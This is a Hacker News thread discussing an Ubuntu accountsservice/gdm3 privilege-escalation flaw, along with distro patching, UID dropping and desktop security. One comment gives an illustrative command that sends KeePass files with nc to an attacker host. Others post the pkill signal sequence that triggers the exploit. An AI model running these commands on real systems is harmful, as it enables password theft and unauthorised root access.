876 points · by generalizations · 6y ago · 278 comments
I guess next time people ask why I like a distro like Arch that doesn't insert its own junk into upstream code over Debian/Ubuntu/et al, I'll have a new example handy to cite.
It's been a very long time since I worked on a distro (former Canonical employee here) but every distro carries patches of some sort.
I haven't been a distro packager in many years, but my recollection is that in other distros (debian, fedora, arch, etc) patches that add new functionality would generally not be considered okay unless accepted by upstream. I'd be interested to learn the rationale for not upstreaming this patch before including it.
Current linux release has one patch changing one default: https://github.com/archlinux/linux/commits/v5.9.8-arch1
But why is kernel is patched by distros at all? I run kernel from kernel.org always and don't see any issues.
https://sources.debian.org/src/accountsservice/0.6.55-3/debi...
https://sources.debian.org/src/accountsservice/0.6.45-2/debi...
The changes that fix both vulnerabilities can be viewed here: https://git.launchpad.net/ubuntu/+source/accountsservice/com...
Personally I question the logic of having accounts-daemon grovel through pam_env's config files in the first place. This isn't an API, it's an implementation detail! It just seems like a bad idea, even ignoring the vulnerability which anyone who isn't an absolute expert on the semantics of real/effective/saved UIDs & how to safely change them could have made.
https://www.usenix.org/conference/11th-usenix-security-sympo... (the famous Sendmail vulnerability therein is actually the _opposite_ of the accountsservice problem... sendmail _should_ have set the real uid as well as the effective uid, so that its effective uid could never be changed back to 0).
LWN has an excellent series of articles about thedesign of UNIX, one of which explains the problems with setuid: https://lwn.net/Articles/416494/
Do you think equally-bad bugs haven’t made it into upstream projects directly? Hell, many downstream patches exist to fix security bugs.
TL;DR: To silence a valgrind warning, Debian maintainers added a local patch to OpenSSL that commented out the entropy pool, making all SSL keys predictable.
Gentoo has a much better track record of keeping packages vanilla, in part because patches are kept by default in the single Portage monorepo, so there is incentive not to dump huge patchsets in there. Only a few packages have significant Gentooisms maintained out of there (like the gentoo-sources kernel patchset, which as far as kernel patchsets go is still very light, and you can opt not to use it).
In 15+ years of using Gentoo I only recall two times their patches broke something for me. One, some obsolete crud in gentoo-sources broke booting without an initramfs on HP CCISS RAID controllers (because that's the only(!) block device driver that puts its kernel device names in a subdirectory). Two, a KDE Plasma patch to pull the right system Python version from the Gentoo infrastructure that manages that forked off a subprocess, but got fork() backwards, causing the "main" process PID to change and subtly breaking D-Bus policykit stuff due to security checks on the PID (aka: you can't mount devices from the system tray when the PulseAudio volume widget was loaded, how's that for a fun one to debug).
I don't recall Gentoo ever introducing a security issue, other than perhaps typical packaging mistakes (nothing comes to mind but I assume bad permissions have happened at some point, there's always some of those).
Not a bad track record for being my main workstation OS for a decade and a half.
[1]: https://www.schneier.com/blog/archives/2008/05/random_number...
I've always thought that Fedora and Arch were both much more "upstream first" than Debian is.
sed -i '/dbus_conf_dir/s/sysconfdir/datadir/g' meson.build
This likely is needed for the package to build to begin with.then that would be not needed.
Does Debian actually change upstream significantly? I thought they kept things fairly vanilla.
I know Fedora patched in VAAPI support on Firefox before it was merged into the Mozilla codebase. I can’t think of a worse piece of software to patch, the last thing I want to be running untested code on is my web browser.
I’m not saying those guys don’t know what they’re doing, obviously they are experts. But I would prefer to trust but verify (not just trust).
Thats not a trivial matter, its a potential source of many issues
IME, they do keep things fairly vanilla, and I speak as someone who has run Debian since . . . I wanna say 2002? Plus I've done kernel dev work, and Debian's kernel patches ain't nothing compared to what RedHat used to do.
The various RPM flavors keep their kernels vanilla enough that I can mostly just rebase on top of linux-stable, and it's been that way since I started 7 years ago (according to github).
Arch is the winner. I've never had to make a custom patch for Arch.
Disclaimer: I work for Red Hat but opinions are my own
No, they radically change things to match their standards. E.g. look at their tomcat package which explodes it all over the filesystem.
Without the latter, all you have is a burlap sack full of software. Hardly a distribution. Fine if that's what you want, but it's not what Debian is.
It always struck me as a very strange phenomenon to occur given the apparent security superiority of Linux in contrast to Windows. Perhaps that's an antiquated notion now, given modern distros that prioritise form-over-function more than they used to?
Wayland is supposed to fix most of those legacy shortcomings enabling proper app-level sandboxing. It took a while, but its implementations are more or less usable as daily drivers these days - if you're interested in desktop security, help to push Wayland to become a hassle free replacement of X is appreciated a lot
There is also pipewire going somewhat stable (I had issues with bluetooth but otherwise it worked perfectly), that would enable all these things without applications having to worry about the compository at all.
Things have improved recently (in part due to our own efforts to submit PRs to DEs), but we still need one implementation per DE more or less, since many don't implement the "common" Wayland protocol to accomplish this (Gnome, KDE).
This doesn't exists. Linux is more secure on the desktop because it doesn't attract hackers with its 1% market share and because its users are more tech savvy.
Arguably otherwise Windows has better defense because it comes with built-in virus scanner. Also both systems pretty much don't have any sane security policy for the end user at all by default, because they both are trying to defend from the wrong threat - privilege escalation, - which is irrelevant for desktop users 90% of the time.
I understand you clarified with “on the desktop” but the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user, etc are things which Windows is only just catching up with.
There are holes, but saying windows is more secure because it’s been attacked more ignores a huge part of the problem windows has had for generations: running as admin when you shouldn’t and sticking the UI into the kernel.
> the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user
These are standard practices on every OS that every sane admin implements. Again, just because someone's grandma runs windows 95 under Administrator, doesn't make modern deployments less secure. Also, by far the most popular command on linux is something like `curl -sL https://deb.nodesource.com/setup_12.x | sudo bash`. Do we need to discuss how your security configuration is irrelevant once you run this? This doesn't even require Xorg, and see about 'sudo' part below.
> sticking the UI into the kernel
Last time I checked, Xorg was running as root pretty much everywhere which if not at all different from security perspective.
But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account, doesn't matter if the account has admin privileges or not. If any of your desktop software is exploited via numerous vulnerabilities, or you ran custom script from the internet like the one above - even without sudo, - you are pretty much fucked, because these things can install a keylogger as current user and/or add a cron job or a daemon (again as current user) which will do obfuscated analog of `find ~ -name keepass.kdbx -print0 | xargs -0 cat | nc evil.haxxor.ru 1234` and it will go unnoticed for years.
Security model of all both Linux and Windows is so far behind the real world that it doesn't make any sense to discuss which one of them is more secure.
> This doesn't exists.
It does exist, but as mentioned by the parent comment, that security superiority of Linux in contrast to Windows is a reputation it earned in the late 1990s and early 2000s; back then (before Windows XP SP2), Windows was a security disaster. Both Windows and Linux got better at security since then.
> Arguably otherwise Windows has better defense because it comes with built-in virus scanner.
Back then (before Windows Vista), it didn't. And one could also argue that this might be because Windows needs a virus scanner more than Linux does.
For hardware-accelerated compositing situations, it might have something to do with unnecessarily long / out-of order retention of the GPU frame buffer, which I could conceive of as being dismissed as inconsequential in most circumstances.
There is some writing from the author of xscreensaver which makes for fun reading. Displaying the desktop for a few seconds could be the least of your worries. There have been multiple security issues in the past in various screen lockers that let you completely bypass the password screen (probably all fixed today, but who knows what else could be lurking).
I won't link it directly because I think (?) his site displays something else when your Referer header is hacker news. This should provide you with an entry point, and there are multiple other linux screensaver issues over the past years linked from that post.
https://www.google.com/search?q=jwz xscreensaver "The awful thing about getting it right the first time is that nobody realizes how hard it was."
You can also search for "XScreenSaver: On Toolkit Dialogs", but I think it's linked in that blog post.
I have a 20.04 thinkpad that I rarely use for reasons (partly that it doesn't come out of suspend most of the time, forcing a hard reboot) but I remember this being a problem back when my Ubuntu install was functional :)
I had the same problem with my T14s (AMD). Installing kernel 5.8 via `apt install linux-generic-hwe-20.04-edge` solved the suspend issue for me.
I would be surprised if this isn't configurable. In fact, I'm pretty sure that XScreenSaver has exactly this "fade" parameter as a number of seconds and can be disabled. No idea about other screensavers.
I know what you're talking about, and I'm pretty sure it's a very GNOME-specific problem (or gdm, or whatever login manager they use by default...) because when I started out on Ubuntu earlier this year, there was a very active bug report about it. I could actually probably find it if anyone was curious.
But I've long since ditched gnome because well, I hate it. On KDE now and never had this problem. I'm pretty sure this is not an "all of linux" problem at all though.
I will give KDE a go!
Edit with direct quote from the article:
> Disclaimer: For someone to exploit this vulnerability, they need access to the graphical desktop session of the system, so this issue affects desktop users only.
Am I wrong?
Plus, there are a few admins out there who simply prefer to use VNC over a straight terminal. I'm not here to judge; while this is uncommon, it's certainly not unheard of. Personally I would rather not have that much attack surface on my servers, but there are a few legitimate use cases here and there.
$ apt-cache policy accountsservice
accountsservice:
Installed: 0.6.40-2ubuntu11.6
Candidate: 0.6.40-2ubuntu11.6
If the installed version reported by the utility is the version that Ubuntu states the problem has been fixed for your release, then presumably your system is safe (for this bug).And grep for this package. Otherwise
sudo apt update
/usr/lib/update-notifier/apt-check --human-readable
Will list number of pending security updates.
(part of update-notifier-common, and in task:server along with various desktop-tasks)
Beyond that, you might want to look at https://vuls.io or other auditing packages. Or perhaps:
sudo snap install cvescan
cvescan
Seems it could use some exposure - I wasn't aware of it: https://github.com/canonical/sec-cvescan
> It uses D-Bus to ask accounts-daemon how many users there are, but since accounts-daemon is unresponsive, the D-Bus method call fails due to a timeout. (In my testing, the timeout took around 20 seconds.) Due to the timeout error, the code does not set the value of priv->have_existing_user_accounts. Unfortunately, the default value of priv->have_existing_user_accounts is false, not true, so now gdm3 thinks that there are zero user accounts and it launches gnome-initial-setup.
I am sick and tired of programs trying to continue onward somehow after encountering "impossible" error conditions or tripping over arbitrary timeouts. Failing fast when something looks funny is essential to the creation of a secure system. When you write something like the gdm3 code above --- which, when it runs into trouble, clears any ambient error and pretends that the system has no current users --- you may think you're doing the user a favor by continuing to operate, but what you're doing is in fact willfully entering some unknowable and unexplored region of the system's state space, usually one full of dragons and anthrax.
What you want to do instead is just die when something goes wrong. gdm3 should respond to a failure to contact org.freedesktop.Accounts with either a hard lockup or a forced restart of the gdm3 daemon.
I do this for a specific reason: I don’t want my team to get pinged with a support request for something trivial.
So this type of bug is a huge eye opener for me. I still want to strike a balance between usability and clarity, but this story makes me want to review a lot of the code I’ve written. None of it is mission critical and on this level, luckily.
But all the updated versions are for accounts-version, not gdm3. Do they change the 'default' response somehow?
https://utcc.utoronto.ca/~cks/space/blog/linux/UbuntuAccount...
Not reassuring.
So I googled "accounts-daemon", and these are the titles for the first three results:
1. "What does accounts-daemon actually do?"
2. "Should I disable accounts-daemon?"
3. "Process accounts-daemon taking 100% of CPU."
Not reassuring indeed.It's an API and associated service daemon to add/remove/modify users, since Linux does not have one of those. (except forking out to useradd/usermod/userdel, except on Debian where they supply the adduser/rmuser commands instead, because consistency is for chumps, I guess)
Never delete the root filesystem when removing users
Many, many user accounts use / as their home directory.
If deleting these accounts with accountsservice, we should just ignore requests to
delete the home dir, rather than trash the user's computer.
Fixes #57> Dropping privileges means that the daemon temporarily forfeits its root privileges, adopting instead the lower privileges of the user. Ironically, that’s intended to be a security precaution, the goal of which is to protect the daemon from a malicious user who does something like symlinking their .pam_environment to /etc/shadow, which is a highly sensitive file that standard users aren’t allowed to read. Unfortunately, when done incorrectly, it also grants the user permission to send the daemon signals, which is why we’re able to send accounts-daemon a SIGSEGV.
What’s the recommended way to drop permissions while blocking the ability to kill the process (sure you can mask off SIGSEGV but SIGKILL isn’t maskable)?
Also, the wording makes it sound like you can re-acquire the original permissions which I thought is impossible. Isn’t dropping permissions a one-way operation? I would have thought there was some usage of fork here but the usage of `pidof` and 1 result in the write up would imply no forking. Maybe a link to the source here would be sufficient for me (I don’t see one in the article or in the thread here).
Accountservice is actually changing its user ID rather than dropping capabilities which is where my confusion came from. It looks like there’s magic in the kernel to allow a process to switch back to the original user & some nuance about some ways of switching allowing you to send signals while other ways make your process act like a semi-hybrid of two user accounts (I.e. it technically looks owned by your user but you still don’t have permissions to do things with it). Security issues always lie in these kind of weird nuances.
* calling mount during installation(?) when there is no user. Makes no sense to have the daemon running later
* providing a user icon. Exactly the type of functionality I like to throw out
* providing a user specific language setting. I can see that this is useful for some users
So how is dropping privileges done correctly to avoid getting killed by the user? Running as another user is one way, but I guess that is not always feasible if you want the daemon provide services for the user. On the other hand accountservice is there for multiple (human) users. So as which of them is it running? Not at a machine right now...
I think you got the wrong idea from the article, which is partly author's fault. He claims user should not be able to do that, but that is a highly anti-user anti-unix viewpoint.
Creating a destroying (crashing) processes running with uid of any non-root user is something like an obvious inalienable right of that unix user. It is expected that this works.
The problem to solve is that the crash of the user daemon confuses gdm (a root process) which then behaves as if the computer is in the installation phase and the user is to be trusted with setting up high-privilege account.
The solution for Ubuntu is obvious, fix gdm. For administrators / power users, use something simpler such as xdm, where these kinds of errors are unlikely to occur.
I was wondering this too. What is the way to "correctly" drop privileges? Is it even possible to drop privileges within a process in a way that's immune to this?
The solution is almost always to use (or add) kernel constructs that would obviate the need to elevate in the first place, but they generally aren’t fine-grained enough so on paper it looks like dropping privileges makes more sense, though in practice it might turn out to be the bigger mistake.
* The machine has no desktop user at the moment
* The program was patched on 04-Nov, I guess addressing this issue.
For this case of temporarily lowering access rights to avoid user loading unauthorized files, by only setting effective user id (EUID) (or filesystem user id (FSUID), though its use should be avoided nowadays) instead of real user id (RUID) like the code did. And same for group id.
And you access that using the POSIX getpwent(3) family of functions, which glibc wraps to honor nsswitch.conf. accountservice seems superfluous.
Here, as the article mentions, part of the attack relies on the fact that the privledged process goes out of its way to defend against such an attack.
As far as I can tell, the symlink is not even nessasary. You should be able to get the same effect by making 1TB big. Using sparse files, you don't even need much disk space.
Basically, if the LANG and LC_ALL appear are across two 50 byte regions of the file, it'll fail to find them.
I don't know enough of the format of the .pam_environment file to tell whether that may lead to unexpected results.
There are so few multi user machines in existence that I doubt this mode of usage will ever get enough attention to be even moderately secure.
As for trust, there are probably few, if any, attack vectors more common than privilege escalation, so I’m not sure I follow that line of reasoning either.
That is a tall bet :D
If anyone is going to try out crazy stuff for the sake of curiosity/pranks, it would be students.
Don't shared web hosts count?
However, the underlying core problem of the vulnerability is absolutely independent of any specific component, vendor, product or policy. The core problem are developers not thinking their stuff out. Reading from a file is an absolutely non trivial task, million things can go wrong and the responsible developer has to foresee and handle them all in a generic sane way. Maybe do not read until EOF, if you never expect more than a few bytes? Read the file async with a timeout? Taint the input? Do not put the system in a dependent, unsecure state before success of the operation. Expect stuff to fail and code accordingly! Think like a hacker and try to hack your own code. And do this for any single line of your code.
I learned to introspect my code in this way as a byproduct of learning Rust. It began with Rust's strict type system, which forced me to carefully consider each and every value and variable and how I toss them around and how and where and how long I am going to access them in my code. It continued with the error handling policies of Rust in a similar way. The learning curve of Rust was steep for me and coding the first months was tedious. But once I got the hang of it, I started to love it. Fighting the compiler, I have to go through every aspect of my code in a super careful way over and over again and once the compiler gives the Go, I feel love and appreciation for my code - as if I crafted something special, that was approved by the master. Code no longer was for me something thrown into the editor as fast as possible with just the effort to make it run somehow reliably. I felt now, as if my code was a piece of art, well thought out and beautifully crafted, made to serve for many years, like a musical instrument. In other words, Rust was changing the appreciation of my own work and gently shoved me to a more careful approach of coding.
At some point in development I go through my code to do some manual formatting, you know, aesthetic stuff like indenting to make the code look more beautiful (in a human way, not a linter's way). Like a last polish. And on this run, I look at my code as a hacker. How would I crack it? How would it handle that and that exception? I try to think really evil. I think many programmers shy away of this step, because it can mean a lot, a lot of new work. And this is where Zero Days as the one described in the thread originate.
What if the root user intentionally deleted all non-root users? GDM would just let anyone creates an user with wheel?
I've recently learned a lot of Rust. Rust's std::result::Result type [1] helps avoid this error. I think it is superior to the error handling facilities in other languages:
- C: errno, boolean return values, `null`
- C++: exceptions, errno, boolean return values, `null`; std::expected<T,E> is being developed
- Java: exceptions, `null`, Optional<T>
- Golang: `nil`, `error`, `if err != nil { return nil, err }` boilerplate
- Javascript: `undefined`, exceptions, futures
- Python: exceptions, `None`, boolean return values
- Swift: exceptions, `nil`, `try?`, optional values
- Dart: exceptions, futures, `null`
Would it be worthwhile to create Result-like error handling libraries for the major languages?
[1]: https://doc.rust-lang.org/book/ch09-02-recoverable-errors-wi...
Sounds like a fun day to me.
I wish I had a Linux distro that split the OS from the userland more neatly.
I want to boot into something minimal and static, and then add complexity from there. Maybe logging in to a local container instead of the actual OS?
Linux as an easily extendable building filled with rooms and workshops and entertainment areas, rather than Linux as a mere desktop.
I still can't believe it's not more widely used (and I only started using linux full-time earlier this year). It confines the entire (non-user) filetree into the read-only /nix directory, and manages every single component of the OS through Nix, the package manager - and I guess nix-daemon in the case of NixOS specifically - 100% declaratively. You define the entire thing through a single configuration.nix file.
You can even do crazy stuff like erasing the root upon each reboot, leaving only /nix and /home if you wanted, and I think I remember in the article I was reading about it that it can mount everything on a tmpfs or something like that, so you have a perfectly "clean" root tree every time you restart the computer (as /nix is stateless, it's guaranteed not to change except when rebuilding the system configuration).
The point of nixos is really the declarative aspect, with "splitting" the OS being more of a secondary benefit, but for your case, you might like the whole declarative builds thing in general to accomplish that.
Is there an option that doesn't require everyone who uses it to learn an entirely new language?
This.
Also, in my experience proponents of NixOS significantly understate the technical complexity and various idiosyncrasies present in trying to get NixOS set up and usable for daily driving. I found several examples where the documentation was unclear, confusing, or out of date.
Coming from DevOps, I'm certainly a fan of declarative/immutable patterns, but it feels like NixOS requires more work than some would have you believe.
Or just 'pkill -SIGSTOP accounts-daemon'. pkill matches by process name.
To clarify, do we really need a service (and an unsafe, exploitable one), to do something, we've been doing without it for years on all other distros.
> Way better for writing gui apps against instead of wrapping suid binaries and parsing strings horribly.
I would call that a laudable goal. Just seems like the design needs a deep security review.
Normally that privilege dropping should happen after forking, right? And if it does the parent process should respond to gdm's inquiry.
That being said, the initial settings thing is probably good for a few more escalations as its usecase does not seem to fit the standard security measures very well.
> An unprivileged process may change its real UID, effective UID, and saved set‐user‐ID, each to one of: the current real UID, the current effective UID or the current saved set‐user‐ID.
accountsservice did something like setresuid(uid, uid, -1), which set both real and effective UIDs, but kept saved set‐user‐ID as root, so that it could re-gain root privileges later.
Setting EUID was the correct course of action; but setting real UID let the unprivileged user kill the process.
pkill -SIGSTOP accounts-daemon &&
nohup bash -c "sleep 5s; pkill -SIGSEGV accounts-daemon; pkill -SIGCONT accounts-daemon" &
gnome-session-quit
I think that should be equivalent, but haven't tried (my desktop is patched). sudo systemctl stop accounts-daemon.service && sudo systemctl disable accounts-daemon.service
https://www.linux.com/topic/desktop/cleaning-your-linux-star...Shouldn't that be a root process to which a non-root process cannot send signals?
Unix Basics 101
> Armed with accounts-daemon’s PID, you can use kill to send the SIGSTOP signal
what `pkill` is for?
The flaw here involves access to the GUI, which in most cases implies that they have physical access. (and in most cases would imply it is "their" machine in any event)
For that matter, many shopping malls have information kiosks, retail stores have demo laptops, banks have ATM machines, airlines have automatic check-ins, etc. If you're typing away, no one will care. If you're opening up the device with a crowbar, or even screw driver, you'd better have a nice orange high-viz uniform, lanyard, and clipboard. Without those, security will drag you awat.
The core reason this did not constitute a proof is because physical security people misapply lessons from that domain to digital, and software engineers misapply lessons from digital to physical. In the virtual world, I'm open to 7 billion potential attackers. In the physical world, I'm open to a few. That leads to very different security practices.
If I leave my front door unlocked for a week, the security risk is minimal where I live. Casual security is good enough. If I leave my computer with even a pretty obscure vulnerability connected to the internet for 5 minutes, odds are pretty good it will be compromised.
Clipboards+lanyard+high viz vest is imperfect security (and I chose the example deliberately to illustrate that), but it is good enough security to practically prevent physical compromises in most instances. I won't run a military base that way, or a HIPAA-compliant data system, but it's good enough for 95% of uses, including, for example, a university physics department's research data system.
Even a military base doesn't have perfect security; a well-resourced attacker can compromise it. In contrast, in the virtual world, I want cryptographic protocols where I can prove perfect security, at least given a relatively small set of assumptions.
> The computers are in a locked cabinet, ...
Or, in other words, no physical access?
If I have access to a keyboard connected to CPU, that's a form of "physical access." IO devices are part of the computer.
The problem is the mixture of responsibilities in GDM. Someone decided to use its root permissions for a purpose unrelated to display management.
EDIT: Oops, I didn't read the deep dive section, and I guess he says how he stumbled upon it. My bad!